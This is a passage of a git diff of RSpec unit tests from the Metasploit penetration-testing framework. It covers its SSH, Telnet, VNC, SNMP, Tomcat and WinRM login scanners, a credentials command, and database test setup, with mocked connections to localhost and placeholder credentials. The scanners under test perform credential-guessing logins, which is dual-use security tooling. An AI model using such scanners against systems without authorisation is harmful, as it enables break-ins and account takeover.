snmp_scanner.connection_timeout = 1 + snmp_scanner.stop_on_success = true + snmp_scanner.cred_details = detail_group + end + + it 'creates a Timeout based on the connection_timeout' do + ::Timeout.should_receive(:timeout).at_least(:once).with(snmp_scanner.connection_timeout) + snmp_scanner.attempt_login(pub_comm) + end + + it 'creates a SNMP Manager for each supported version of SNMP' do + ::SNMP::Manager.should_receive(:new).twice.and_call_original + snmp_scanner.attempt_login(pub_comm) + end + + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb new file mode 100644 index 0000000000..e36d723c72 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -0,0 +1,221 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/ssh' + +describe Metasploit::Framework::LoginScanner::SSH do + let(:public) { 'root' } + let(:private) { 'toor' } + let(:key) { OpenSSL::PKey::RSA.generate(2048).to_s } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:pub_key) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: key, + private_type: :ssh_key + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + subject(:ssh_scanner) { + described_class.new + } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + + + it { should respond_to :verbosity } + + context 'validations' do + + context 'verbosity' do + + it 'is valid with :debug' do + ssh_scanner.verbosity = :debug + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :info' do + ssh_scanner.verbosity = :info + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :warn' do + ssh_scanner.verbosity = :warn + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :error' do + ssh_scanner.verbosity = :error + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is valid with :fatal' do + ssh_scanner.verbosity = :fatal + expect(ssh_scanner.errors[:verbosity]).to be_empty + end + + it 'is invalid with a random symbol' do + ssh_scanner.verbosity = :foobar + expect(ssh_scanner).to_not be_valid + expect(ssh_scanner.errors[:verbosity]).to include 'is not included in the list' + end + + it 'is invalid with a string' do + ssh_scanner.verbosity = 'debug' + expect(ssh_scanner).to_not be_valid + expect(ssh_scanner.errors[:verbosity]).to include 'is not included in the list' + end + end + + + end + + context '#attempt_login' do + before(:each) do + ssh_scanner.host = '127.0.0.1' + ssh_scanner.port = 22 + ssh_scanner.connection_timeout = 30 + ssh_scanner.verbosity = :fatal + ssh_scanner.stop_on_success = true + ssh_scanner.cred_details = detail_group + end + + it 'creates a Timeout based on the connection_timeout' do + ::Timeout.should_receive(:timeout).with(ssh_scanner.connection_timeout) + ssh_scanner.attempt_login(pub_pri) + end + + context 'with a password' do + it 'calls Net::SSH with the correct arguments' do + opt_hash = { + :auth_methods => ['password','keyboard-interactive'], + :port => ssh_scanner.port, + :disable_agent => true, + :password => private, + :config => false, + :verbose => ssh_scanner.verbosity, + :proxies => nil + } + Net::SSH.should_receive(:start).with( + ssh_scanner.host, + public, + opt_hash + ) + ssh_scanner.attempt_login(pub_pri) + end + end + + context 'with a key' do + it 'calls Net::SSH with the correct arguments' do + opt_hash = { + :auth_methods => ['publickey'], + :port => ssh_scanner.port, + :disable_agent => true, + :key_data => key, + :config => false, + :verbose => ssh_scanner.verbosity, + :proxies => nil + } + Net::SSH.should_receive(:start).with( + ssh_scanner.host, + public, + hash_including(opt_hash) + ) + ssh_scanner.attempt_login(pub_key) + end + end + + context 'when it fails' do + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do + Net::SSH.should_receive(:start) { raise Rex::ConnectionError } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do + Net::SSH.should_receive(:start) { raise Rex::AddressInUse } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a Net::SSH::Disconnect' do + Net::SSH.should_receive(:start) { raise Net::SSH::Disconnect } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::EOFError' do + Net::SSH.should_receive(:start) { raise ::EOFError } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns :connection_disconnect for a ::Timeout::Error' do + Net::SSH.should_receive(:start) { raise ::Timeout::Error } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns [:fail,nil] for a Net::SSH::Exception' do + Net::SSH.should_receive(:start) { raise Net::SSH::Exception } + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + it 'returns [:fail,nil] if no socket returned' do + Net::SSH.should_receive(:start).and_return nil + expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT + end + end + + context 'when it succeeds' do + + it 'gathers proof of the connections' do + Net::SSH.should_receive(:start) {"fake_socket"} + my_scanner = ssh_scanner + my_scanner.should_receive(:gather_proof) + my_scanner.attempt_login(pub_pri) + end + + it 'returns a success code and proof' do + Net::SSH.should_receive(:start) {"fake_socket"} + my_scanner = ssh_scanner + my_scanner.should_receive(:gather_proof).and_return(public) + expect(my_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb new file mode 100644 index 0000000000..fcf80b69ca --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -0,0 +1,78 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/telnet' + +describe Metasploit::Framework::LoginScanner::Telnet do + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + it { should respond_to :banner_timeout } + it { should respond_to :telnet_timeout } + + context 'validations' do + context 'banner_timeout' do + it 'is not valid for a non-number' do + login_scanner.banner_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.banner_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.banner_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.banner_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:banner_timeout]).to be_empty + end + end + + context 'telnet_timeout' do + it 'is not valid for a non-number' do + login_scanner.telnet_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.telnet_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.telnet_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.telnet_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:telnet_timeout]).to be_empty + end + end + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb new file mode 100644 index 0000000000..ef050c0ba0 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb @@ -0,0 +1,11 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/tomcat' + +describe Metasploit::Framework::LoginScanner::Tomcat do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb new file mode 100644 index 0000000000..ce265dbddd --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -0,0 +1,84 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/vnc' + +describe Metasploit::Framework::LoginScanner::VNC do + let(:private) { 'password' } + let(:blank) { '' } + let(:test_cred) { + Metasploit::Framework::Credential.new( paired: false, private: private ) + } + let(:blank_cred) { + Metasploit::Framework::Credential.new( paired: false, private: blank ) + } + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + + context '#attempt_login' do + it 'creates a new RFB client' do + Rex::Proto::RFB::Client.should_receive(:new).and_call_original + login_scanner.attempt_login(test_cred) + end + + it 'returns a connection_error result when the handshake fails' do + Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return false + result = login_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a failed result when authentication fails' do + Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return true + Rex::Proto::RFB::Client.any_instance.should_receive(:authenticate).with(private).and_return false + result = login_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + context 'when the socket errors' do + it 'returns a connection_error result for an EOFError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::EOFError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::EOFError.new.to_s + end + + it 'returns a connection_error result for an Rex::AddressInUse' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::AddressInUse + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::AddressInUse.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionError.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionTimeout' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s + end + + it 'returns a connection_error result for an ::Timeout::Error' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Timeout::Error + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Timeout::Error.new.to_s + end + end + + + + end + +end \ No newline at end of file diff --git a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb new file mode 100644 index 0000000000..a4fc368a70 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb @@ -0,0 +1,21 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/winrm' + +describe Metasploit::Framework::LoginScanner::WinRM do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#method=" do + subject(:winrm_scanner) { described_class.new } + + it "should raise, warning that the :method can't be changed" do + expect { winrm_scanner.method = "GET" }.to raise_error(RuntimeError) + expect(winrm_scanner.method).to eq("POST") + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb new file mode 100644 index 0000000000..7b22109bf8 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner' +require 'metasploit/framework/login_scanner/http' +require 'metasploit/framework/login_scanner/smb' +require 'metasploit/framework/login_scanner/vnc' + +describe Metasploit::Framework::LoginScanner do + + subject { described_class.classes_for_service(service) } + let(:port) { nil } + let(:name) { nil } + + let(:service) do + s = double('service') + allow(s).to receive(:port) { port } + allow(s).to receive(:name) { name } + s + end + + context "with name 'smb'" do + let(:name) { 'smb' } + + it { should include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::HTTP } + end + + [ 139, 445 ].each do |foo| + context "with port #{foo}" do + let(:port) { foo } + + it { should include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::HTTP } + it { should_not include Metasploit::Framework::LoginScanner::VNC } + end + end + + context "with name 'http'" do + let(:name) { 'http' } + + it { should include Metasploit::Framework::LoginScanner::HTTP } + it { should_not include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::VNC } + end + + [ 80, 8080, 8000, 443 ].each do |foo| + context "with port #{foo}" do + let(:port) { foo } + + it { should include Metasploit::Framework::LoginScanner::HTTP } + it { should include Metasploit::Framework::LoginScanner::Axis2 } + it { should include Metasploit::Framework::LoginScanner::Tomcat } + it { should_not include Metasploit::Framework::LoginScanner::SMB } + end + end + +end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 7c96718f7d..2caf144b3a 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/framework' describe Msf::Framework do describe "#version" do - CURRENT_VERSION = "4.9.3-dev" + CURRENT_VERSION = "4.10.1-dev" subject do described_class.new diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 3f6e69063e..c348fd6e34 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -1177,10 +1177,22 @@ describe Msf::Modules::Loader::Base do end context 'with namespace_module nil' do + # + # lets + # + let(:namespace_module) do nil end + # + # Callbacks + # + + before(:each) do + parent_module.const_set(relative_name, Module.new) + end + it 'should remove relative_name' do parent_module.should_receive(:remove_const).with(relative_name) diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index d0bd0843c7..308e763844 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -209,8 +209,8 @@ describe Msf::Modules::Namespace do end context 'with minimum Core version' do - it 'should be <= Msf::Framework::VersionCore' do - minimum_core_version.should <= Msf::Framework::VersionCore + it 'is <= Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_core_version.to_s)).to be <= Metasploit::Framework::Core::GEM_VERSION end context 'without minimum API version' do @@ -218,8 +218,8 @@ describe Msf::Modules::Namespace do 2 end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI + it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' @@ -239,8 +239,8 @@ describe Msf::Modules::Namespace do 5 end - it 'should be > Msf::Framework::VersionCore' do - minimum_core_version.should > Msf::Framework::VersionCore + it 'is > Metasploit::Framework::Core::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_core_version.to_s)).to be > Metasploit::Framework::Core::GEM_VERSION end context 'without minimum API version' do @@ -248,16 +248,16 @@ describe Msf::Modules::Namespace do 2 end - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI + it 'is > Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be > Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' end context 'with minimum API version' do - it 'should be <= Msf::Framework::VersionAPI' do - minimum_api_version <= Msf::Framework::VersionAPI + it 'is <= Metasploit::Framework::API::GEM_VERSION when converted to Gem::Version' do + expect(Gem::Version.new(minimum_api_version.to_s)).to be <= Metasploit::Framework::API::GEM_VERSION end it_should_behave_like 'Msf::Modules::VersionCompatibilityError' diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 4f5de2e92f..d034343336 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -79,7 +79,7 @@ describe Msf::DBManager::Export do it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do node = module_detail_node.at_xpath('disclosure-date') - Date.parse(node.content).should == module_detail.disclosure_date + DateTime.parse(node.content).should == module_detail.disclosure_date end end diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 76f215b8df..912e8cef20 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -21,16 +21,16 @@ describe Msf::DBManager do it_should_behave_like 'Msf::DBManager::Migration' it_should_behave_like 'Msf::DBManager::ImportMsfXml' - context '#initialize_metasploit_data_models' do - def initialize_metasploit_data_models - db_manager.initialize_metasploit_data_models + context '#add_rails_engine_migration_paths' do + def add_rails_engine_migration_paths + db_manager.add_rails_engine_migration_paths end it 'should not add duplicate paths to ActiveRecord::Migrator.migrations_paths' do - initialize_metasploit_data_models + add_rails_engine_migration_paths expect { - initialize_metasploit_data_models + add_rails_engine_migration_paths }.to_not change { ActiveRecord::Migrator.migrations_paths.length } @@ -89,14 +89,6 @@ describe Msf::DBManager do end context 'without modules_caching' do - it 'should create a connection' do - # in purge_all_module_details - # in after(:each) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - purge_all_module_details - end - it 'should destroy all Mdm::Module::Details' do expect { purge_all_module_details @@ -128,14 +120,6 @@ describe Msf::DBManager do true end - it 'should create connection' do - # 1st time from with_established_connection - # 2nd time from report_session - ActiveRecord::Base.connection_pool.should_receive(:with_connection).exactly(2).times - - report_session - end - context 'with :session' do before(:each) do options[:session] = session @@ -754,8 +738,7 @@ describe Msf::DBManager do it { should be_nil } it 'should not create a connection' do - # 1st time for with_established_connection - ActiveRecord::Base.connection_pool.should_receive(:with_connection).once + ActiveRecord::Base.connection_pool.should_not_receive(:with_connection) report_session end @@ -1273,40 +1256,25 @@ describe Msf::DBManager do false end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - update_all_module_details - end - - it 'should set framework.cache_thread to current thread and then nil around connection' do + it 'should set framework.cache_thread to current thread and then nil' do framework.should_receive(:cache_thread=).with(Thread.current).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered framework.should_receive(:cache_thread=).with(nil).ordered update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original end - it 'should set modules_cached to false and then true around connection' do + it 'should set modules_cached to false and then true' do db_manager.should_receive(:modules_cached=).with(false).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered db_manager.should_receive(:modules_cached=).with(true).ordered update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original end - it 'should set modules_caching to true and then false around connection' do + it 'should set modules_caching to true and then false' do db_manager.should_receive(:modules_caching=).with(true).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered db_manager.should_receive(:modules_caching=).with(false).ordered update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original end context 'with Mdm::Module::Details' do @@ -1481,13 +1449,6 @@ describe Msf::DBManager do true end - it 'should create connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original - - update_module_details - end - it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do db_manager.should_receive(:module_to_details_hash).and_call_original diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index 52baca5d93..25319a5456 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -11,6 +11,37 @@ describe Msf::Ui::Console::CommandDispatcher::Db do described_class.new(driver) end + describe "#cmd_creds" do + describe "add-password" do + let(:username) { "username" } + let(:password) { "password" } + context "when no core exists" do + it "should add a Core" do + expect { + subject.cmd_creds("add-password", username, password) + }.to change{ Metasploit::Credential::Core.count }.by 1 + end + end + context "when a core already exists" do + before(:each) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) + pub = FactoryGirl.create(:metasploit_credential_public, username: username) + core = FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + end + it "should not add a Core" do + expect { + subject.cmd_creds("add-password", username, password) + }.to_not change{ Metasploit::Credential::Core.count } + end + end + end + end + describe "#cmd_workspace" do describe "-h" do it "should show a help message" do @@ -73,9 +104,9 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-p" do before(:each) do host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp') + FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp') + FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp') end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" @@ -83,10 +114,10 @@ describe Msf::Ui::Console::CommandDispatcher::Db do "Services", "========", "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1024 snmp open ", - "192.168.0.1 1025 snmp open " + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1024 udp Service1 open ", + "192.168.0.1 1025 tcp Service2 open " ] end end @@ -183,35 +214,31 @@ describe Msf::Ui::Console::CommandDispatcher::Db do end +=begin describe "#cmd_creds" do describe "-h" do it "should show a help message" do db.cmd_creds "-h" @output.should =~ [ "Usage: creds [addr range]", - "Usage: creds -a -p -t -u -P ", - " -a,--add Add creds to the given addresses instead of listing", - " -d,--delete Delete the creds instead of searching", + "List credentials. If an address range is given, show only credentials with", + "logins on hosts within that range.", " -h,--help Show this help information", - " -o Send output to a file in csv format", - " -p,--port List creds matching this port spec", - " -s List creds matching these service names", - " -t,--type Add a cred of this type (only with -a). Default: password", - " -u,--user Add a cred for this user (only with -a). Default: blank", - " -P,--password Add a cred with this password (only with -a). Default: blank", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", " -c,--columns Columns of interest", + " -P,--password List passwords that match this regex", + " -p,--port List creds with logins on services matching this port spec", + " -s List creds matching comma-separated service names", + " -u,--user List users that match this regex", "Examples:", - " creds # Default, returns all active credentials", - " creds all # Returns all credentials active or not", + " creds # Default, returns all credentials", " creds 1.2.3.4/24 # nmap host specification", " creds -p 22-25,445 # nmap port specification", - " creds 10.1.*.* -s ssh,smb all" + " creds -s ssh,smb # All creds associated with a login on SSH or SMB services" ] end end end +=end describe "#cmd_db_import" do describe "-h" do diff --git a/spec/models/metasploit/credential/core_spec.rb b/spec/models/metasploit/credential/core_spec.rb new file mode 100644 index 0000000000..65cca84721 --- /dev/null +++ b/spec/models/metasploit/credential/core_spec.rb @@ -0,0 +1,5 @@ +require 'spec_helper' + +describe Metasploit::Credential::Core do + it_should_behave_like 'Metasploit::Credential::Core::ToCredential' +end \ No newline at end of file diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 459103aba2..5237d08381 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,49 +1,44 @@ -# -*- coding:binary -*- -require 'rubygems' -require 'bundler' -Bundler.require(:default, :test, :db) +# -*- coding: binary -*- +ENV['RAILS_ENV'] = 'test' -FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + "/file_fixtures/" - -# add project lib directory to load path -spec_pathname = Pathname.new(__FILE__).dirname -root_pathname = spec_pathname.join('..').expand_path -lib_pathname = root_pathname.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) - -# must be first require and started before any other requires so that it can measure coverage of all following required -# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov. require 'simplecov' -# now that simplecov is loaded, load everything else +# @note must be before loading config/environment because railtie needs to be loaded before +# `Metasploit::Framework::Application.initialize!` is called. +# +# Must be explicit as activerecord is optional dependency +require 'active_record/railtie' + +require File.expand_path('../../config/environment', __FILE__) + +# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use require 'rspec/core' +require 'rails/version' +require 'rspec/rails/adapters' +require 'rspec/rails/extensions' +require 'rspec/rails/fixture_support' +require 'rspec/rails/matchers' +require 'rspec/rails/mocks' + +FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. -support_glob = root_pathname.join('spec', 'support', '**', '*.rb') - -Dir.glob(support_glob) do |path| - require path +Dir[Rails.root.join('spec', 'support', '**', '*.rb')].each do |f| + require f end RSpec.configure do |config| config.mock_with :rspec - # Can't use factory_girl_rails since not using rails, so emulate - # factory_girl.set_factory_paths initializer and after_initialize for - # FactoryGirl::Railtie - config.before(:suite) do - # Need to load Mdm models first so factories can use them - MetasploitDataModels.require_models + # Run specs in random order to surface order dependencies. If you find an + # order dependency and want to debug it, you can fix the order by providing + # the seed, which is printed after each run. + # --seed 1234 + config.order = 'random' - FactoryGirl.definition_file_paths = [ - MetasploitDataModels.root.join('spec', 'factories'), - # Have metasploit-framework's definition file path last so it can - # modify gem factories. - Metasploit::Framework.root.join('spec', 'factories') - ] - - FactoryGirl.find_definitions - end + # If you're not using ActiveRecord, or you'd prefer not to run each of your + # examples within a transaction, remove the following line or assign false + # instead of true. + config.use_transactional_fixtures = true end - diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb deleted file mode 100644 index 5bbb900e15..0000000000 --- a/spec/support/shared/contexts/database_cleaner.rb +++ /dev/null @@ -1,37 +0,0 @@ -# -*- coding:binary -*- -require 'metasploit/framework/database' - -shared_context 'DatabaseCleaner' do - def with_established_connection - begin - ActiveRecord::Base.connection_pool.with_connection do - yield - end - rescue ActiveRecord::ConnectionNotEstablished - # if there isn't a connection established, then established one and try - # again - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) - - retry - end - end - - # clean before all in case last test run was interrupted before - # after(:each) could clean up - before(:all) do - with_established_connection do - DatabaseCleaner.clean_with(:truncation) - end - end - - # Clean up after each test - after(:each) do - with_established_connection do - # Testing using both :truncation and :deletion; :truncation took long - # for testing. - DatabaseCleaner.clean_with(:deletion) - end - end -end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index c060b5ceb3..7a164523a3 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,5 +1,4 @@ shared_context 'Msf::DBManager' do - include_context 'DatabaseCleaner' include_context 'Msf::Simple::Framework' let(:active) do @@ -11,13 +10,8 @@ shared_context 'Msf::DBManager' do end before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - db_manager.connect(spec) - + # already connected due to use_transactional_fixtures, but need some of the side-effects of #connect + framework.db.workspace = framework.db.default_workspace db_manager.stub(:active => active) end end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/simple/framework.rb 